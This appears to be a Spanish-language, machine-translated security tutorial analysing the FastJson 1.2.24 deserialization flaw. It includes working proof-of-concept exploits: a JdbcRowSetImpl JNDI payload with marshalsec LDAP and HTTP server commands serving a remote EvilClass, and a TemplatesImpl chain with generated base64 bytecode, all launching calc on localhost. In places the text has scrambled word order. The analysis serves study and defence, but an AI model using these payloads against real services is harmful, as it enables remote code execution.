Directorio de artículos
[seguridad de Java] Análisis de vulnerabilidad de deserialización FastJson
0x00.Prefacio
Aprendimos sobre RMI y JNDI antes, y luego podemos aprender sobre la deserialización FastJson
0x01 Descripción general de FastJson
FastJson es la biblioteca de análisis JSON de código abierto de Alibaba, que puede analizar cadenas con formato JSON, admitir la serialización de JavaBean a cadenas JSON y la deserialización de cadenas JSON a JavaBean.
0x02.Usos FastJson
En primer lugar, necesitamos usar maven para importar un paquete jar fastjson, aquí elegimos la versión 1.2.24
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
Serialización y deserialización
Primero cree un javabean estándar: clase de usuario
package com.leekos.serial;
public class User {
private String name;
private int age;
public User() {
System.out.println("无参构造");
}
public User(String name, int age) {
System.out.println("有参构造");
this.name = name;
this.age = age;
}
public String getName() {
System.out.println("调用了get方法");
return name;
}
public void setName(String name) {
System.out.println("调用了set方法");
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
Pruebe el método en fastjson:
- JSON.toJSONString (obj) convierte javabean en cadena json
- JSON.parse(s) deserializa la cadena json
- JSON.parseObject(s) deserializa la cadena json
- JSON.parseObject(s, Object.class) deserializa la cadena json
public class JsonTest {
public static void main(String[] args) {
User user = new User("leekos",20);
// 序列化
String serializeStr = JSON.toJSONString(user);
System.out.println("serializeStr=" + serializeStr);
System.out.println("------------------------------------------------------------------");
//通过parse方法进行反序列化,返回的是一个JSONObject
Object obj1 = JSON.parse(serializeStr);
System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
System.out.println("parse反序列化:" + obj1);
System.out.println("------------------------------------------------------------------");
//通过parseObject,不指定类,返回的是一个JSONObject
JSONObject obj2 = JSON.parseObject(serializeStr);
System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
System.out.println("parseObject反序列化:" + obj2);
System.out.println("------------------------------------------------------------------");
//通过parseObject,指定类后返回的是一个相应的类对象
User obj3 = JSON.parseObject(serializeStr, User.class);
System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
System.out.println("parseObject反序列化:" + obj3);
}
}
producción:
有参构造
调用了get方法
serializeStr={
"age":20,"name":"leekos"}
------------------------------------------------------------------
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{
"name":"leekos","age":20}
------------------------------------------------------------------
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{
"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{
name='leekos', age=20}
Por observación podemos saber: (sin SerializerFeature.WriteClassName
parámetros)
- El método se llamará
JSON.toJSONString(obj)
cuando se serialice el javabean.get()
- El uso
JSON.parse(s)
deserializará la cadena json enJSONObject
un objeto, y en realidad no se deserializa y no se llama a ningún método. - El uso
JSON.parseObject(s)
deserializará la cadena json enJSONObject
un objeto, y en realidad no se deserializa y no se llama a ningún método. - Cuando especificamos que
JSON.parseObject(s,User.class)
el segundo parámetro de la función es el código de bytes de la clase especificada, podemos deserializarlo correctamente y llamarset()
al método.
A través del análisis anterior, podemos pensar que no hay ningún identificador relacionado con la clase en la cadena json. ¿Cómo sabemos a qué tipo de objeto corresponde la cadena json deserializa?
En este momento, es necesario utilizar JSON.toJSONString(obj,SerializerFeature.WriteClassName)
el segundo parámetro . Si el parámetro es SerializerFeature.WriteClassName
, al serializar javabeans, el nombre de la clase se escribirá en la cadena json y se almacenará en @type
la palabra clave.
Pasar
SerializerFeature.WriteClassName
permite que Fastjson admita la introspección. Después de habilitar la introspección, los datos serializados en JSON tendrán un @tipo adicional, que es el texto JSON que representa el tipo de objeto.
Cambiemos el código de arriba:
String serializeStr = JSON.toJSONString(user,SerializerFeature.WriteClassName);
producción:
有参构造
调用了get方法
serializeStr={
"@type":"com.leekos.serial.User","age":20,"name":"leekos"}
------------------------------------------------------------------
无参构造
调用了set方法
parse反序列化对象名称:com.leekos.serial.User
parse反序列化:User{
name='leekos', age=20}
------------------------------------------------------------------
无参构造
调用了set方法
调用了get方法
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{
"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{
name='leekos', age=20}
Después del análisis, podemos saber:
- Cuando la deserialización sea exitosa, se llamarán
parse()
ambos métodos .parseObject()
set()
JSON.parseObject()
La deserialización tendrá éxito sólo si la clase se especifica en el segundo parámetro"@type":"com.leekos.serial.User"
Use la clase especificada en la cadena . CuandoJSON.parseObject()
se usa el segundo parámetro y no se especifica el segundo parámetro, se llamará al métodoset()
,get()
pero se convertirá enJSONObject
un objeto.- Al usar
JSON.parse()
el método, no puede usar parámetros para especificar la clase deserializada, se@type
deserializa a la clase especificada identificando la cadena json
0x03 Vulnerabilidad de deserialización
De hecho, hay un tema muy delicado arriba: si @type
es malicioso, puede realizar algunas operaciones maliciosas a través de activadores set()
y métodos.get()
La vulnerabilidad es que cuando se usa fastjson autotype para procesar objetos json,
@type
el campo no está completamente verificado en cuanto a seguridad. Un atacante puede pasar una clase peligrosa y llamar a la clase peligrosa para conectarse al host rmi remoto y ejecutar código a través del malware. clase. De esta manera, los atacantes pueden aprovechar las vulnerabilidades de ejecución remota de código, obtener la divulgación de información confidencial del servidor e incluso utilizar esta vulnerabilidad para modificar, agregar y eliminar datos del servidor, lo que causa un gran impacto en el servidor.
Primero escribamos una clase maliciosa:
package com.leekos.rce;
import java.io.IOException;
public class ExecObj {
private String name;
public ExecObj() {
}
public ExecObj(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) throws IOException {
Runtime.getRuntime().exec("calc");
this.name = name;
}
@Override
public String toString() {
return "ExecObj{" +
"name='" + name + '\'' +
'}';
}
}
Después de agregarlo SerializerFeature.WriteClassName
, use JSON.parseObject()
la deserialización:
public class Test {
public static void main(String[] args) {
String s = "{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}";
Object o = JSON.parseObject(s);
}
}
Método invocado con éxito set()
:
0x04 Condición desencadenante de vulnerabilidad
Sin embargo, se deben cumplir ciertas condiciones en FastJson:
La llamada automática del captador también debe cumplir las siguientes condiciones:
- La longitud del nombre del método es mayor que 4
- método no estático
- Comienza con get y la cuarta letra es mayúscula.
- No se pasó ningún parámetro
- El tipo de valor de retorno se hereda de Collection Map AtomicBoolean AtomicInteger AtomicLong
La llamada automática del armador debe cumplir las siguientes condiciones:
- La longitud del nombre del método es mayor que 4
- método no estático
- El valor de retorno es nulo o la clase actual
- Comienza con set y la cuarta letra es mayúscula.
- El número de parámetros es 1.
Además, Fastjson también tiene las siguientes características:
- Si no existe un método de establecimiento para la variable privada en la clase de destino, pero aún desea asignar un valor a esta variable al deserializar, debe usar
Feature.SupportNonPublicField
parámetros - Cuando fastjson busca métodos getter/setter para propiedades de clase, llamar a
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
métodos de función ignora_ -
las cadenas - Cuando fastjson se deserializa, si el tipo de campo es byte [],
com.alibaba.fastjson.parser.JSONScanner#bytesValue
se llamará a la decodificación base64 y también se realizará la codificación base64 durante la serialización.
0x05 Método de ataque de vulnerabilidad
En la vulnerabilidad de deserialización de Fastjson, se utiliza TemplatesImpl
y JdbcRowSetImpl
construye código malicioso para implementar la ejecución de comandos. TemplatesImpl
Después de depurar tantas cadenas antes, esta clase debe ser familiar para esta clase. Utiliza un cargador de clases internamente para crear un nuevo objeto, en este momento se ejecutará el código malicioso definido en el bloque de código estático. Hablemos de que este último JdbcRowSetImpl
necesita utilizar el aprendizaje previo JNDI注入
para lograr el ataque.
Aquí hay dos maneras:
TemplatesImpl
cadenaJdbcRowSetImpl
cadena
Cadena de explotación JdbcRowSetImpl
La cadena de exploits de inyección JNDI es el método de exploit más versátil y se puede utilizar en los siguientes tres métodos de deserialización:
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)
Aquí se usa la inyección JNDI JdbcRowSetImpl
, porque necesitamos usar JNDI, así que busquemos globalmentelookup()
El descubrimiento lookup()
se connect()
llamará en la función y los parámetros se pasarán this.getDataSourceName()
.
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
String var2 = this.getDataSourceName();
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
}
} else {
super.setDataSourceName(var1); //赋值
this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
}
}
setDataSourceName()
Una función asigna dataSourceName
un valor y esta función es setxxx()
una forma. dataSourceName
controlable
Luego necesitamos encontrar dónde connect()
se puede llamar a la función, y esta función tiene setxxx()
la forma:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
Si encuentra uno setAutoCommit()
, simplemente puede construir una cadena json
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
//调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
"dataSourceName":"ldap://127.0.0.1:1389/Exploit",
"autoCommit":true // 之后再调用setAutoCommit函数,传入true
}
Manifestación
public class Demo {
public static void main(String[] args) {
String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}";
JSON.parse(exp);
}
}
Primero, usemos el complemento: marshalsec
inicie un servicio ldap:
(aquí la URL apunta al EvilClass.class
archivo local en el puerto 8090)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass
Luego Python inicia un servicio http (puerto 8090) y hay un EvilClass.class
archivo en el directorio:
python3 -m http.server 8090
Código fuente de EvilClass.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class EvilClass implements ObjectFactory {
static {
System.out.println("hello,static~");
}
public EvilClass() throws IOException {
System.out.println("constructor~");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
System.out.println("hello,getObjectInstance~");
return null;
}
}
Utilice javac (jdk7u21) para compilar aquí
correr:
TemplatesImpl utiliza la cadena
Versión de vulnerabilidad
fastjson 1.22-1.24
POS
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class Test {
//最终执行payload的类的原始模型
//ps.要payload在static模块中执行的话,原始模型需要用static方式。
public static class lala{
}
//返回一个在实例化过程中执行任意代码的恶意类的byte码
//如果对于这部分生成原理不清楚,参考以前的文章
public static byte[] getevilbyte() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(lala.class.getName());
//要执行的最终命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//之前说的静态初始化块和构造方法均可,这边用静态方法
cc.makeClassInitializer().insertBefore(cmd);
// CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
// cons.setBody("{"+cmd+"}");
// cc.addConstructor(cons);
//设置不重复的类名
String randomClassName = "LaLa"+System.nanoTime();
cc.setName(randomClassName);
//设置满足条件的父类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
//获取字节码
return cc.toBytecode();
}
//生成payload,触发payload
public static void poc() throws Exception {
//生成攻击payload
byte[] evilCode = getevilbyte();//生成恶意类的字节码
String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
//此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
System.out.println(text1);
//服务端触发payload
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField);
}
//main函数调用以下poc
public static void main(String[] args){
try {
poc();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Ejecutémoslo y abramos la calculadora:
Cadena JSON:
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{
},'_outputProperties':{
}}
Análisis de vulnerabilidad
Usar TemplatesImpl
la forma de una cadena para activar el exploit de deserialización FastJson requiere condiciones duras
- Al utilizar el servidor
JSON.parse()
, necesitaJSON.parse(s,Feature.SupportNonPublicField);
- Cuando el servidor usa parseObject (), se debe usar el siguiente formato para activar la vulnerabilidad:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
、JSON.parseObject(input, Feature.SupportNonPublicField);
Debido a que algunos atributos que se deben asignar a la carga útil son private
atributos, el servidor debe agregar funciones para restaurar los datos del atributo privado en json.
De hecho, según el poc anterior, tendremos varias preguntas:
_bytecodes
¿Por qué es necesario construir tantos valores si la separación inserta código malicioso?_bytecodes
¿Por qué está cifrado el valor en base64?- ¿Por qué la serialización agrega
Feature.SupportNonPublicField
valores de parámetros ?
- @type: se utiliza para almacenar el tipo de destino durante la deserialización.
TemplatesImpl
Esta clase se especifica aquí. Fastjson deserializará de acuerdo con esta clase para obtener una instancia. Debido a quegetOutputProperties
se llama al método, se crea una instancia de la clase de códigos de bytes entrantes, lo que resulta en la ejecución del comando. Cabe señalar que Fastjson solo deserializará las propiedades públicas modificadas de forma predeterminada. OutputProperties y _bytecodes seprivate
modifican y deben agregarseFeature.SupportNonPublicField
a parseObject para activarse; - _bytecodes: hereda
AbstractTranslet
el código de bytes de la clase maliciosa de la clase y utilizaBase64
la codificación - _name:
getTransletInstance
al llamar, se juzgará si es nulo, si es nulo, se devolverá directamente, no se ejecutará y se romperá la cadena de utilización, consulte las cadenas cc2 y cc4. - _tfactory:
defineTransletClasses
se llamará a su métodogetExternalExtensionsMap
, si es nulo ocurrirá una excepción, pero al analizar la cadena jdk7u21, algunos jdk no encontraron este método. - OutputProperties: los parámetros clave al explotar la vulnerabilidad. Debido a que Fastjson llamará a su método durante el proceso de deserialización
getOutputProperties
,bytecodes
se creará una instancia exitosa del código de bytes y se ejecutará el comando.
Feature.SupportNonPublicField
La razón por la que se puede activar la adición antes mencionada es porque Feature.SupportNonPublicField
la función es admitir la deserialización de propiedades protegidas por modificadores no públicos y la serialización de propiedades privadas en Fastjson.